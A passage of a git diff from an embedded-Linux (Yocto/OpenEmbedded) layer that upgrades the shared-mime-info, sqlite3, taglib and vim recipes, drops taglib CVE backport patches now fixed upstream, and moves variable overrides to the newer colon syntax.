+DEPENDS = "libxml2 itstool-native glib-2.0 shared-mime-info-native xmlto-native"
+
+SRC_URI = "git://gitlab.freedesktop.org/xdg/shared-mime-info.git;protocol=https;branch=master \
+ file://0001-migrate-from-custom-itstool-to-builtin-msgfmt-for-cr.patch \
+ "
+SRCREV = "18e558fa1c8b90b86757ade09a4ba4d6a6cf8f70"
+PV = "2.1"
+S = "${WORKDIR}/git"
+
+inherit meson pkgconfig gettext python3native mime
+
+EXTRA_OEMESON = "-Dupdate-mimedb=true"
+
+FILES:${PN} += "${datadir}/mime"
+FILES:${PN}-dev += "${datadir}/pkgconfig/shared-mime-info.pc ${datadir}/gettext/its"
+
+# freedesktop.org.xml is only required when updating the mime database,
+# package it separately
+PACKAGES =+ "shared-mime-info-data"
+FILES:shared-mime-info-data = "${datadir}/mime/packages/freedesktop.org.xml"
+RDEPENDS:shared-mime-info-data = "shared-mime-info"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/sqlite/sqlite3.inc b/meta/recipes-support/sqlite/sqlite3.inc
index 4af1e09e80..9a0de08553 100644
--- a/meta/recipes-support/sqlite/sqlite3.inc
+++ b/meta/recipes-support/sqlite/sqlite3.inc
@@ -1,4 +1,5 @@
SUMMARY = "Embeddable SQL database engine"
+DESCRIPTION = "A library that implements a small, fast, self-contained, high-reliability, full-featured, SQL database engine. SQLite is the most used database engine in the world. SQLite is built into all mobile phones and most computers and comes bundled inside countless other applications that people use every day"
HOMEPAGE = "http://www.sqlite.org"
SECTION = "libs"
@@ -22,15 +23,14 @@ CVE_PRODUCT = "sqlite"
inherit autotools pkgconfig siteinfo
# enable those which are enabled by default in configure
-PACKAGECONFIG ?= "fts4 fts5 json1 rtree dyn_ext"
-PACKAGECONFIG_class-native ?= "fts4 fts5 json1 rtree dyn_ext"
+PACKAGECONFIG ?= "fts4 fts5 rtree dyn_ext"
+PACKAGECONFIG:class-native ?= "fts4 fts5 rtree dyn_ext"
PACKAGECONFIG[editline] = "--enable-editline,--disable-editline,libedit"
PACKAGECONFIG[readline] = "--enable-readline,--disable-readline,readline ncurses"
PACKAGECONFIG[fts3] = "--enable-fts3,--disable-fts3"
PACKAGECONFIG[fts4] = "--enable-fts4,--disable-fts4"
PACKAGECONFIG[fts5] = "--enable-fts5,--disable-fts5"
-PACKAGECONFIG[json1] = "--enable-json1,--disable-json1"
PACKAGECONFIG[rtree] = "--enable-rtree,--disable-rtree"
PACKAGECONFIG[session] = "--enable-session,--disable-session"
PACKAGECONFIG[dyn_ext] = "--enable-dynamic-extensions,--disable-dynamic-extensions"
@@ -44,26 +44,24 @@ EXTRA_OECONF = " \
--disable-static-shell \
"
-CFLAGS_append = " -fPIC"
-
# pread() is in POSIX.1-2001 so any reasonable system must surely support it
-CFLAGS_append = " -DUSE_PREAD"
+CFLAGS:append = " -DUSE_PREAD"
# Provide column meta-data API
-CFLAGS_append = " -DSQLITE_ENABLE_COLUMN_METADATA"
+CFLAGS:append = " -DSQLITE_ENABLE_COLUMN_METADATA"
# Unless SQLITE_BYTEORDER is predefined, the code falls back to build time
# huristics, which are not always correct
-CFLAGS_append = " ${@oe.utils.conditional('SITEINFO_ENDIANNESS', 'le', '-DSQLITE_BYTEORDER=1234', '-DSQLITE_BYTEORDER=4321', d)}"
+CFLAGS:append = " ${@oe.utils.conditional('SITEINFO_ENDIANNESS', 'le', '-DSQLITE_BYTEORDER=1234', '-DSQLITE_BYTEORDER=4321', d)}"
PACKAGES = "lib${BPN} lib${BPN}-dev lib${BPN}-doc ${PN}-dbg lib${BPN}-staticdev ${PN}"
-FILES_${PN} = "${bindir}/*"
-FILES_lib${BPN} = "${libdir}/*.so.*"
-FILES_lib${BPN}-dev = "${libdir}/*.la ${libdir}/*.so \
+FILES:${PN} = "${bindir}/*"
+FILES:lib${BPN} = "${libdir}/*.so.*"
+FILES:lib${BPN}-dev = "${libdir}/*.la ${libdir}/*.so \
${libdir}/pkgconfig ${includedir}"
-FILES_lib${BPN}-doc = "${docdir} ${mandir} ${infodir}"
-FILES_lib${BPN}-staticdev = "${libdir}/lib*.a"
+FILES:lib${BPN}-doc = "${docdir} ${mandir} ${infodir}"
+FILES:lib${BPN}-staticdev = "${libdir}/lib*.a"
AUTO_LIBNAME_PKGS = "${MLPREFIX}lib${BPN}"
diff --git a/meta/recipes-support/sqlite/sqlite3_3.30.0.bb b/meta/recipes-support/sqlite/sqlite3_3.30.0.bb
deleted file mode 100644
index feeee8af02..0000000000
--- a/meta/recipes-support/sqlite/sqlite3_3.30.0.bb
+++ /dev/null
@@ -1,8 +0,0 @@
-require sqlite3.inc
-
-LICENSE = "PD"
-LIC_FILES_CHKSUM = "file://sqlite3.h;endline=11;md5=786d3dc581eff03f4fd9e4a77ed00c66"
-
-SRC_URI = "http://www.sqlite.org/2019/sqlite-autoconf-${SQLITE_PV}.tar.gz"
-SRC_URI[md5sum] = "84230638d5b80b61843e43b5efcb9e53"
-SRC_URI[sha256sum] = "e0a8cf4c7a87455e55e10413d16f358ca121ccec687fe1301eac95e2d340fc58"
diff --git a/meta/recipes-support/sqlite/sqlite3_3.38.0.bb b/meta/recipes-support/sqlite/sqlite3_3.38.0.bb
new file mode 100644
index 0000000000..a797679f12
--- /dev/null
+++ b/meta/recipes-support/sqlite/sqlite3_3.38.0.bb
@@ -0,0 +1,14 @@
+require sqlite3.inc
+
+LICENSE = "PD"
+LIC_FILES_CHKSUM = "file://sqlite3.h;endline=11;md5=786d3dc581eff03f4fd9e4a77ed00c66"
+
+SRC_URI = "http://www.sqlite.org/2022/sqlite-autoconf-${SQLITE_PV}.tar.gz"
+SRC_URI[sha256sum] = "1c76e25dc63d9f3935e0f406aec520a33ee77cf54ea5147dffe1fae8369eff68"
+
+# -19242 is only an issue in specific development branch commits
+CVE_CHECK_IGNORE += "CVE-2019-19242"
+# This is believed to be iOS specific (https://groups.google.com/g/sqlite-dev/c/U7OjAbZO6LA)
+CVE_CHECK_IGNORE += "CVE-2015-3717"
+# Issue in an experimental extension we don't have/use. Fixed by https://sqlite.org/src/info/b1e0c22ec981cf5f
+CVE_CHECK_IGNORE += "CVE-2021-36690"
diff --git a/meta/recipes-support/taglib/taglib/CVE-2017-12678.patch b/meta/recipes-support/taglib/taglib/CVE-2017-12678.patch
deleted file mode 100644
index 4bd9f2be17..0000000000
--- a/meta/recipes-support/taglib/taglib/CVE-2017-12678.patch
+++ /dev/null
@@ -1,40 +0,0 @@
-From eb9ded1206f18f2c319157337edea2533a40bea6 Mon Sep 17 00:00:00 2001
-From: "Stephen F. Booth" <me@sbooth.org>
-Date: Sun, 23 Jul 2017 10:11:09 -0400
-Subject: [PATCH] Don't assume TDRC is an instance of TextIdentificationFrame
-
-If TDRC is encrypted, FrameFactory::createFrame() returns UnknownFrame
-which causes problems in rebuildAggregateFrames() when it is assumed
-that TDRC is a TextIdentificationFrame
-
-Upstream-Status: Backport
-[https://github.com/taglib/taglib/pull/831/commits/eb9ded1206f18f2c319157337edea2533a40bea6]
-
-CVE: CVE-2017-12678
-
-Signed-off-by: Yi Zhao <yi.zhao@windriver.com>
----
- taglib/mpeg/id3v2/id3v2framefactory.cpp | 5 +++--
- 1 file changed, 3 insertions(+), 2 deletions(-)
-
-diff --git a/taglib/mpeg/id3v2/id3v2framefactory.cpp b/taglib/mpeg/id3v2/id3v2framefactory.cpp
-index 759a9b7b..9347ab86 100644
---- a/taglib/mpeg/id3v2/id3v2framefactory.cpp
-+++ b/taglib/mpeg/id3v2/id3v2framefactory.cpp
-@@ -334,10 +334,11 @@ void FrameFactory::rebuildAggregateFrames(ID3v2::Tag *tag) const
- tag->frameList("TDAT").size() == 1)
- {
- TextIdentificationFrame *tdrc =
-- static_cast<TextIdentificationFrame *>(tag->frameList("TDRC").front());
-+ dynamic_cast<TextIdentificationFrame *>(tag->frameList("TDRC").front());
- UnknownFrame *tdat = static_cast<UnknownFrame *>(tag->frameList("TDAT").front());
-
-- if(tdrc->fieldList().size() == 1 &&
-+ if(tdrc &&
-+ tdrc->fieldList().size() == 1 &&
- tdrc->fieldList().front().size() == 4 &&
- tdat->data().size() >= 5)
- {
---
-2.13.5
-
diff --git a/meta/recipes-support/taglib/taglib/CVE-2018-11439.patch b/meta/recipes-support/taglib/taglib/CVE-2018-11439.patch
deleted file mode 100644
index cdd66e67f7..0000000000
--- a/meta/recipes-support/taglib/taglib/CVE-2018-11439.patch
+++ /dev/null
@@ -1,51 +0,0 @@
-From 272648ccfcccae30e002ccf34a22e075dd477278 Mon Sep 17 00:00:00 2001
-From: Scott Gayou <github.scott@gmail.com>
-Date: Mon, 4 Jun 2018 11:34:36 -0400
-Subject: [PATCH] Fixed OOB read when loading invalid ogg flac file. (#868)
-
-This CVE is caused by a failure to check the minimum length
-of a ogg flac header. This header is detailed in full at:
-https://xiph.org/flac/ogg_mapping.html. Added more strict checking
-for entire header.
-
-Upstream-Status: Backport
-[https://github.com/taglib/taglib/pull/869/commits/272648ccfcccae30e002ccf34a22e075dd477278]
-
-CVE: CVE-2018-11439
-
-Signed-off-by: Yi Zhao <yi.zhao@windriver.com>
----
- taglib/ogg/flac/oggflacfile.cpp | 14 ++++++++++++--
- 1 file changed, 12 insertions(+), 2 deletions(-)
-
-diff --git a/taglib/ogg/flac/oggflacfile.cpp b/taglib/ogg/flac/oggflacfile.cpp
-index 53d0450..07ea9dc 100644
---- a/taglib/ogg/flac/oggflacfile.cpp
-+++ b/taglib/ogg/flac/oggflacfile.cpp
-@@ -231,11 +231,21 @@ void Ogg::FLAC::File::scan()
-
- if(!metadataHeader.startsWith("fLaC")) {
- // FLAC 1.1.2+
-+ // See https://xiph.org/flac/ogg_mapping.html for the header specification.
-+ if(metadataHeader.size() < 13)
-+ return;
-+
-+ if(metadataHeader[0] != 0x7f)
-+ return;
-+
- if(metadataHeader.mid(1, 4) != "FLAC")
- return;
-
-- if(metadataHeader[5] != 1)
-- return; // not version 1
-+ if(metadataHeader[5] != 1 && metadataHeader[6] != 0)
-+ return; // not version 1.0
-+
-+ if(metadataHeader.mid(9, 4) != "fLaC")
-+ return;
-
- metadataHeader = metadataHeader.mid(13);
- }
---
-2.7.4
-
diff --git a/meta/recipes-support/taglib/taglib_1.11.1.bb b/meta/recipes-support/taglib/taglib_1.11.1.bb
deleted file mode 100644
index f4e288295d..0000000000
--- a/meta/recipes-support/taglib/taglib_1.11.1.bb
+++ /dev/null
@@ -1,44 +0,0 @@
-SUMMARY = "Library for reading and editing the meta-data of popular audio formats"
-SECTION = "libs/multimedia"
-HOMEPAGE = "http://taglib.github.io/"
-LICENSE = "LGPLv2.1 | MPL-1.1"
-LIC_FILES_CHKSUM = "file://COPYING.LGPL;md5=4fbd65380cdd255951079008b364516c \
- file://COPYING.MPL;md5=bfe1f75d606912a4111c90743d6c7325 \
- file://taglib/audioproperties.h;beginline=1;endline=24;md5=9df2c7399519b7310568a7c55042ecee"
-
-DEPENDS = "zlib"
-
-SRC_URI = "http://taglib.github.io/releases/${BP}.tar.gz \
- file://CVE-2017-12678.patch \
- file://CVE-2018-11439.patch \
- "
-
-SRC_URI[md5sum] = "cee7be0ccfc892fa433d6c837df9522a"
-SRC_URI[sha256sum] = "b6d1a5a610aae6ff39d93de5efd0fdc787aa9e9dc1e7026fa4c961b26563526b"
-
-UPSTREAM_CHECK_URI = "http://github.com/taglib/taglib/releases/"
-
-BINCONFIG = "${bindir}/taglib-config"
-
-inherit cmake pkgconfig binconfig-disabled
-
-PACKAGES =+ "${PN}-c"
-FILES_${PN}-c = "${libdir}/libtag_c.so.*"
-
-EXTRA_OECMAKE = "-DBUILD_SHARED_LIBS=ON \
- -DCMAKE_DISABLE_FIND_PACKAGE_Boost=TRUE \
- -DHAVE_BOOST_BYTESWAP=FALSE \
- -DCMAKE_CXX_STANDARD=11 \
- -DCMAKE_CXX_STANDARD_REQUIRED=OFF \
- -DLIB_SUFFIX=${@d.getVar('baselib').replace('lib', '')} \
-"
-CXXFLAGS += "-std=c++11"
-
-do_configure_prepend () {
- rm -f ${S}/admin/ltmain.sh
- rm -f ${S}/admin/libtool.m4.in
-}
-
-# without -fPIC depending packages failed with many error like:
-# | <...>/ld: error: <...>/usr/lib/libtag.a(modfilebase.cpp.o): requires unsupported dynamic reloc R_ARM_THM_MOVW_ABS_NC; recompile with -fPIC
-CXXFLAGS += "-fPIC"
diff --git a/meta/recipes-support/taglib/taglib_1.12.bb b/meta/recipes-support/taglib/taglib_1.12.bb
new file mode 100644
index 0000000000..47ad8aacb6
--- /dev/null
+++ b/meta/recipes-support/taglib/taglib_1.12.bb
@@ -0,0 +1,42 @@
+SUMMARY = "Library for reading and editing the meta-data of popular audio formats"
+DESCRIPTION = "Platform-independent library (tested on Windows/Linux) for reading and writing metadata in media files, including video, audio, and photo formats. This is a convenient one-stop-shop to present or tag all your media collection, regardless of which format/container these might use. You can read/write the standard or more common tags/properties of a media, or you can also create and retrieve your own custom tags."
+SECTION = "libs/multimedia"
+HOMEPAGE = "http://taglib.github.io/"
+LICENSE = "LGPL-2.1-only | MPL-1.1"
+LIC_FILES_CHKSUM = "file://COPYING.LGPL;md5=4fbd65380cdd255951079008b364516c \
+ file://COPYING.MPL;md5=bfe1f75d606912a4111c90743d6c7325 \
+ file://taglib/audioproperties.h;beginline=1;endline=24;md5=9df2c7399519b7310568a7c55042ecee"
+
+DEPENDS = "zlib"
+
+SRC_URI = "http://taglib.github.io/releases/${BP}.tar.gz"
+
+SRC_URI[md5sum] = "4313ed2671234e029b7af8f97c84e9af"
+SRC_URI[sha256sum] = "7fccd07669a523b07a15bd24c8da1bbb92206cb19e9366c3692af3d79253b703"
+
+UPSTREAM_CHECK_URI = "http://github.com/taglib/taglib/releases/"
+
+BINCONFIG = "${bindir}/taglib-config"
+
+inherit cmake pkgconfig binconfig-disabled
+
+PACKAGES =+ "${PN}-c"
+FILES:${PN}-c = "${libdir}/libtag_c.so.*"
+
+EXTRA_OECMAKE = "-DBUILD_SHARED_LIBS=ON \
+ -DCMAKE_DISABLE_FIND_PACKAGE_Boost=TRUE \
+ -DHAVE_BOOST_BYTESWAP=FALSE \
+ -DCMAKE_CXX_STANDARD=11 \
+ -DCMAKE_CXX_STANDARD_REQUIRED=OFF \
+ -DLIB_SUFFIX=${@d.getVar('baselib').replace('lib', '')} \
+"
+CXXFLAGS += "-std=c++11"
+
+do_configure:prepend () {
+ rm -f ${S}/admin/ltmain.sh
+ rm -f ${S}/admin/libtool.m4.in
+}
+
+# without -fPIC depending packages failed with many error like:
+# | <...>/ld: error: <...>/usr/lib/libtag.a(modfilebase.cpp.o): requires unsupported dynamic reloc R_ARM_THM_MOVW_ABS_NC; recompile with -fPIC
+CXXFLAGS += "-fPIC"
diff --git a/meta/recipes-support/user-creation/xuser-account_0.1.bb b/meta/recipes-support/user-creation/xuser-account_0.1.bb
index 81817d1e25..639b01f6eb 100644
--- a/meta/recipes-support/user-creation/xuser-account_0.1.bb
+++ b/meta/recipes-support/user-creation/xuser-account_0.1.bb
@@ -18,11 +18,11 @@ do_install() {
install -D -m 0644 ${WORKDIR}/system-xuser.conf ${D}${sysconfdir}/dbus-1/system.d/system-xuser.conf
}
-FILES_${PN} = "${sysconfdir}/dbus-1/system.d/system-xuser.conf"
+FILES:${PN} = "${sysconfdir}/dbus-1/system.d/system-xuser.conf"
USERADD_PACKAGES = "${PN}"
-USERADD_PARAM_${PN} = "--create-home \
+USERADD_PARAM:${PN} = "--create-home \
--groups video,tty,audio,input,shutdown,disk \
--user-group xuser"
-ALLOW_EMPTY_${PN} = "1"
+ALLOW_EMPTY:${PN} = "1"
diff --git a/meta/recipes-support/vim/files/0001-src-Makefile-improve-reproducibility.patch b/meta/recipes-support/vim/files/0001-src-Makefile-improve-reproducibility.patch
index 63a7b78f12..2fc11dbdc2 100644
--- a/meta/recipes-support/vim/files/0001-src-Makefile-improve-reproducibility.patch
+++ b/meta/recipes-support/vim/files/0001-src-Makefile-improve-reproducibility.patch
@@ -16,11 +16,11 @@ Signed-off-by: Mingli Yu <mingli.yu@windriver.com>
src/Makefile | 14 ++++----------
1 file changed, 4 insertions(+), 10 deletions(-)
-diff --git a/src/Makefile b/src/Makefile
-index f2fafa4dc..7148d4bd9 100644
---- a/src/Makefile
-+++ b/src/Makefile
-@@ -2845,16 +2845,10 @@ auto/pathdef.c: Makefile auto/config.mk
+Index: git/src/Makefile
+===================================================================
+--- git.orig/src/Makefile
++++ git/src/Makefile
+@@ -3101,16 +3101,10 @@ auto/pathdef.c: Makefile auto/config.mk
-@echo '#include "vim.h"' >> $@
-@echo 'char_u *default_vim_dir = (char_u *)"$(VIMRCLOC)";' | $(QUOTESED) >> $@
-@echo 'char_u *default_vimruntime_dir = (char_u *)"$(VIMRUNTIMEDIR)";' | $(QUOTESED) >> $@
@@ -41,6 +41,3 @@ index f2fafa4dc..7148d4bd9 100644
-@sh $(srcdir)/pathdef.sh
GUI_GTK_RES_INPUTS = \
---
-2.17.1
-
diff --git a/meta/recipes-support/vim/files/disable_acl_header_check.patch b/meta/recipes-support/vim/files/disable_acl_header_check.patch
index 33089162b4..ee1ea0f390 100644
--- a/meta/recipes-support/vim/files/disable_acl_header_check.patch
+++ b/meta/recipes-support/vim/files/disable_acl_header_check.patch
@@ -5,7 +5,7 @@ Subject: [PATCH] disable acl header check
Don't check 'sys/acl.h' if acl support disabled for vim/vim-tiny.
-Upstream-Status: pending
+Upstream-Status: Pending
Signed-off-by: Wenzong Fan <wenzong.fan@windriver.com>
Signed-off-by: Changqing Li <changqing.li@windriver.com>
@@ -13,11 +13,11 @@ Signed-off-by: Changqing Li <changqing.li@windriver.com>
src/configure.ac | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
-diff --git a/src/configure.ac b/src/configure.ac
-index 2d409b3ca06a..dbcaf6140263 100644
---- a/src/configure.ac
-+++ b/src/configure.ac
-@@ -3257,7 +3257,7 @@ AC_CHECK_HEADERS(stdint.h stdlib.h string.h \
+Index: git/src/configure.ac
+===================================================================
+--- git.orig/src/configure.ac
++++ git/src/configure.ac
+@@ -3292,7 +3292,7 @@ AC_CHECK_HEADERS(stdint.h stdlib.h strin
sys/systeminfo.h locale.h sys/stream.h termios.h \
libc.h sys/statfs.h poll.h sys/poll.h pwd.h \
utime.h sys/param.h sys/ptms.h libintl.h libgen.h \
@@ -26,7 +26,7 @@ index 2d409b3ca06a..dbcaf6140263 100644
sys/access.h sys/sysinfo.h wchar.h wctype.h)
dnl sys/ptem.h depends on sys/stream.h on Solaris
-@@ -3886,6 +3886,7 @@ AC_ARG_ENABLE(acl,
+@@ -3974,6 +3974,7 @@ AC_ARG_ENABLE(acl,
, [enable_acl="yes"])
if test "$enable_acl" = "yes"; then
AC_MSG_RESULT(no)
@@ -34,6 +34,3 @@ index 2d409b3ca06a..dbcaf6140263 100644
AC_CHECK_LIB(posix1e, acl_get_file, [LIBS="$LIBS -lposix1e"],
AC_CHECK_LIB(acl, acl_get_file, [LIBS="$LIBS -lacl"
AC_CHECK_LIB(attr, fgetxattr, LIBS="$LIBS -lattr",,)],,),)
---
-2.7.4
-
diff --git a/meta/recipes-support/vim/files/no-path-adjust.patch b/meta/recipes-support/vim/files/no-path-adjust.patch
new file mode 100644
index 0000000000..9d6da80913
--- /dev/null
+++ b/meta/recipes-support/vim/files/no-path-adjust.patch
@@ -0,0 +1,29 @@
+vim: do not adjust script pathnames
+
+When cross-compiling, we do not want to reference the host versions of
+things like perl and awk.
+
+Upstream-Status: Pending
+
+Signed-off-by: Joe Slater <joe.slater@windriver.com>
+
+Index: git/src/Makefile
+===================================================================
+--- git.orig/src/Makefile
++++ git/src/Makefile
+@@ -2565,11 +2565,14 @@ installtools: $(TOOLS) $(DESTDIR)$(exec_
+ rm -rf $$cvs; \
+ fi
+ -chmod $(FILEMOD) $(DEST_TOOLS)/*
+-# replace the path in some tools
++
++# replace the path in some tools, but not when cross-compiling
++ifneq ($(CROSS_COMPILING),1)
+ perlpath=`./which.sh perl` && sed -e "s+/usr/bin/perl+$$perlpath+" $(TOOLSSOURCE)/efm_perl.pl >$(DEST_TOOLS)/efm_perl.pl
+ awkpath=`./which.sh nawk` && sed -e "s+/usr/bin/nawk+$$awkpath+" $(TOOLSSOURCE)/mve.awk >$(DEST_TOOLS)/mve.awk; if test -z "$$awkpath"; then \
+ awkpath=`./which.sh gawk` && sed -e "s+/usr/bin/nawk+$$awkpath+" $(TOOLSSOURCE)/mve.awk >$(DEST_TOOLS)/mve.awk; if test -z "$$awkpath"; then \
+ awkpath=`./which.sh awk` && sed -e "s+/usr/bin/nawk+$$awkpath+" $(TOOLSSOURCE)/mve.awk >$(DEST_TOOLS)/mve.awk; fi; fi
++endif
+ -chmod $(SCRIPTMOD) `grep -l "^#!" $(DEST_TOOLS)/*`
+
+ # install the language specific files for tools, if they were unpacked
diff --git a/meta/recipes-support/vim/files/racefix.patch b/meta/recipes-support/vim/files/racefix.patch
new file mode 100644
index 0000000000..1cb8fb442f
--- /dev/null
+++ b/meta/recipes-support/vim/files/racefix.patch
@@ -0,0 +1,33 @@
+The creation of the LINGUAS file is duplicated for each desktop file
+which can lead the commands to race against each other. Rework
+the makefile to avoid this as the expense of leaving the file on disk.
+
+Upstream-Status: Pending
+RP 2021/2/15
+
+Index: git/src/po/Makefile
+===================================================================
+--- git.orig/src/po/Makefile
++++ git/src/po/Makefile
+@@ -207,17 +207,16 @@ $(PACKAGE).pot: $(PO_INPUTLIST) $(PO_VIM
+ # Delete the temporary files
+ rm *.js
+
+-vim.desktop: vim.desktop.in $(POFILES)
++LINGUAS:
+ echo $(LANGUAGES) | tr " " "\n" |sed -e '/\./d' | sort > LINGUAS
++
++vim.desktop: vim.desktop.in $(POFILES) LINGUAS
+ $(MSGFMT) --desktop -d . --template vim.desktop.in -o tmp_vim.desktop
+- rm -f LINGUAS
+ if command -v desktop-file-validate; then desktop-file-validate tmp_vim.desktop; fi
+ mv tmp_vim.desktop vim.desktop
+
+-gvim.desktop: gvim.desktop.in $(POFILES)
+- echo $(LANGUAGES) | tr " " "\n" |sed -e '/\./d' | sort > LINGUAS
++gvim.desktop: gvim.desktop.in $(POFILES) LINGUAS
+ $(MSGFMT) --desktop -d . --template gvim.desktop.in -o tmp_gvim.desktop
+- rm -f LINGUAS
+ if command -v desktop-file-validate; then desktop-file-validate tmp_gvim.desktop; fi
+ mv tmp_gvim.desktop gvim.desktop
+
diff --git a/meta/recipes-support/vim/files/vim-add-knob-whether-elf.h-are-checked.patch b/meta/recipes-support/vim/files/vim-add-knob-whether-elf.h-are-checked.patch
index 37914d4cd9..5284ba45b6 100644
--- a/meta/recipes-support/vim/files/vim-add-knob-whether-elf.h-are-checked.patch
+++ b/meta/recipes-support/vim/files/vim-add-knob-whether-elf.h-are-checked.patch
@@ -14,11 +14,11 @@ Signed-off-by: Changqing Li <changqing.li@windriver.com>
src/configure.ac | 7 +++++++
1 file changed, 7 insertions(+)
-diff --git a/src/configure.ac b/src/configure.ac
-index 0ee86ad..64736f0 100644
---- a/src/configure.ac
-+++ b/src/configure.ac
-@@ -3192,11 +3192,18 @@ AC_TRY_COMPILE([#include <stdio.h>], [int x __attribute__((unused));],
+Index: git/src/configure.ac
+===================================================================
+--- git.orig/src/configure.ac
++++ git/src/configure.ac
+@@ -3264,11 +3264,18 @@ AC_TRY_COMPILE([#include <stdio.h>], [in
AC_MSG_RESULT(no))
dnl Checks for header files.
@@ -37,6 +37,3 @@ index 0ee86ad..64736f0 100644
AC_HEADER_DIRENT
---
-2.7.4
-
diff --git a/meta/recipes-support/vim/vim-tiny_8.1.1518.bb b/meta/recipes-support/vim/vim-tiny_8.2.bb
index e4c26d23f6..e4c26d23f6 100644
--- a/meta/recipes-support/vim/vim-tiny_8.1.1518.bb
+++ b/meta/recipes-support/vim/vim-tiny_8.2.bb
diff --git a/meta/recipes-support/vim/vim.inc b/meta/recipes-support/vim/vim.inc
index 0a31e68cb7..905ba3f9c6 100644
--- a/meta/recipes-support/vim/vim.inc
+++ b/meta/recipes-support/vim/vim.inc
@@ -1,24 +1,40 @@
SUMMARY = "Vi IMproved - enhanced vi editor"
+DESCRIPTION = "Vim is a greatly improved version of the good old UNIX editor Vi. Many new features have been added: multi-level undo, syntax highlighting, command line history, on-line help, spell checking, filename completion, block operations, script language, etc. There is also a Graphical User Interface (GUI) available."
SECTION = "console/utils"
+HOMEPAGE = "https://www.vim.org/"
+BUGTRACKER = "https://github.com/vim/vim/issues"
+
DEPENDS = "ncurses gettext-native"
# vimdiff doesn't like busybox diff
-RSUGGESTS_${PN} = "diffutils"
-LICENSE = "vim"
-LIC_FILES_CHKSUM = "file://runtime/doc/uganda.txt;endline=287;md5=f1f82b42360005c70b8c19b0ef493f72"
+RSUGGESTS:${PN} = "diffutils"
+
+LICENSE = "Vim"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=6b30ea4fa660c483b619924bc709ef99 \
+ file://runtime/doc/uganda.txt;md5=a3f193c20c6faff93c69185d5d070535"
-SRC_URI = "git://github.com/vim/vim.git \
+SRC_URI = "git://github.com/vim/vim.git;branch=master;protocol=https \
file://disable_acl_header_check.patch \
file://vim-add-knob-whether-elf.h-are-checked.patch \
file://0001-src-Makefile-improve-reproducibility.patch \
-"
-SRCREV = "202d982b36d87cf91d992bd7e30d3223bdc72cd9"
+ file://no-path-adjust.patch \
+ file://racefix.patch \
+ "
+
+PV .= ".4524"
+SRCREV = "d8f8629b1bf566e1dada7515e9b146c69e5d9757"
+
+# Remove when 8.3 is out
+UPSTREAM_VERSION_UNKNOWN = "1"
+
+# Do not consider .z in x.y.z, as that is updated with every commit
+UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+\.\d+)\.0"
S = "${WORKDIR}/git"
VIMDIR = "vim${@d.getVar('PV').split('.')[0]}${@d.getVar('PV').split('.')[1]}"
-inherit autotools-brokensep update-alternatives
+inherit autotools-brokensep update-alternatives mime-xdg
CLEANBROKEN = "1"
@@ -45,11 +61,10 @@ do_compile() {
autotools_do_compile
}
-#Available PACKAGECONFIG options are gtkgui, acl, x11, tiny
-PACKAGECONFIG ??= ""
-PACKAGECONFIG += " \
+PACKAGECONFIG ??= "\
${@bb.utils.filter('DISTRO_FEATURES', 'acl selinux', d)} \
${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'x11 gtkgui', '', d)} \
+ nls \
"
PACKAGECONFIG[gtkgui] = "--enable-gui=gtk3,--enable-gui=no,gtk+3"
@@ -58,14 +73,18 @@ PACKAGECONFIG[x11] = "--with-x,--without-x,xt,"
PACKAGECONFIG[tiny] = "--with-features=tiny,--with-features=big,,"
PACKAGECONFIG[selinux] = "--enable-selinux,--disable-selinux,libselinux,"
PACKAGECONFIG[elfutils] = "--enable-elf-check,,elfutils,"
+PACKAGECONFIG[nls] = "--enable-nls,--disable-nls,,"
+PACKAGECONFIG[sound] = "--enable-canberra,--disable-canberra,canberra,"
EXTRA_OECONF = " \
--disable-gpm \
--disable-gtktest \
--disable-xim \
--disable-netbeans \
+ --disable-desktop-database-update \
--with-tlib=ncurses \
ac_cv_small_wchar_t=no \
+ ac_cv_path_GLIB_COMPILE_RESOURCES=no \
vim_cv_getcwd_broken=no \
vim_cv_memmove_handles_overlap=yes \
vim_cv_stat_ignores_slash=no \
@@ -84,7 +103,7 @@ do_install() {
chmod -x ${D}${datadir}/${BPN}/${VIMDIR}/tools/mve.awk
chmod -x ${D}${datadir}/${BPN}/${VIMDIR}/tools/*.pl
chmod -x ${D}${datadir}/${BPN}/${VIMDIR}/tools/*.py
-
+
# Install example vimrc from runtime files
install -m 0644 runtime/vimrc_example.vim ${D}/${datadir}/${BPN}/vimrc
@@ -102,13 +121,18 @@ do_install() {
PARALLEL_MAKEINST = ""
PACKAGES =+ "${PN}-common ${PN}-syntax ${PN}-help ${PN}-tutor ${PN}-vimrc ${PN}-tools"
-FILES_${PN}-syntax = "${datadir}/${BPN}/${VIMDIR}/syntax"
-FILES_${PN}-help = "${datadir}/${BPN}/${VIMDIR}/doc"
-FILES_${PN}-tutor = "${datadir}/${BPN}/${VIMDIR}/tutor ${bindir}/${BPN}tutor"
-FILES_${PN}-vimrc = "${datadir}/${BPN}/vimrc"
-FILES_${PN}-data = "${datadir}/${BPN}"
-FILES_${PN}-tools = "${datadir}/${BPN}/${VIMDIR}/tools"
-FILES_${PN}-common = " \
+FILES:${PN}-syntax = "${datadir}/${BPN}/${VIMDIR}/syntax"
+FILES:${PN}-help = "${datadir}/${BPN}/${VIMDIR}/doc"
+FILES:${PN}-tutor = "${datadir}/${BPN}/${VIMDIR}/tutor ${bindir}/${BPN}tutor"
+FILES:${PN}-vimrc = "${datadir}/${BPN}/vimrc"
+FILES:${PN}-data = "${datadir}/${BPN}"
+
+# We do not want to complain if perl or gawk are not on the target.
+#
+FILES:${PN}-tools = "${datadir}/${BPN}/${VIMDIR}/tools"
+INSANE_SKIP:${PN}-tools = "file-rdeps"
+
+FILES:${PN}-common = " \
${datadir}/${BPN}/${VIMDIR}/*.vim \
${datadir}/${BPN}/${VIMDIR}/autoload \
${datadir}/${BPN}/${VIMDIR}/colors \
@@ -124,11 +148,7 @@ FILES_${PN}-common = " \
${datadir}/icons \
"
-RDEPENDS_${BPN} = "ncurses-terminfo-base"
-# Recommend that runtime data is installed along with vim
-RRECOMMENDS_${BPN} = "${PN}-syntax ${PN}-help ${PN}-tutor ${PN}-vimrc ${PN}-common"
-
-ALTERNATIVE_${PN} = "vi vim"
+ALTERNATIVE:${PN} = "vi vim"
ALTERNATIVE_PRIORITY = "100"
ALTERNATIVE_TARGET = "${bindir}/${BPN}.${BPN}"
ALTERNATIVE_LINK_NAME[vi] = "${base_bindir}/vi"
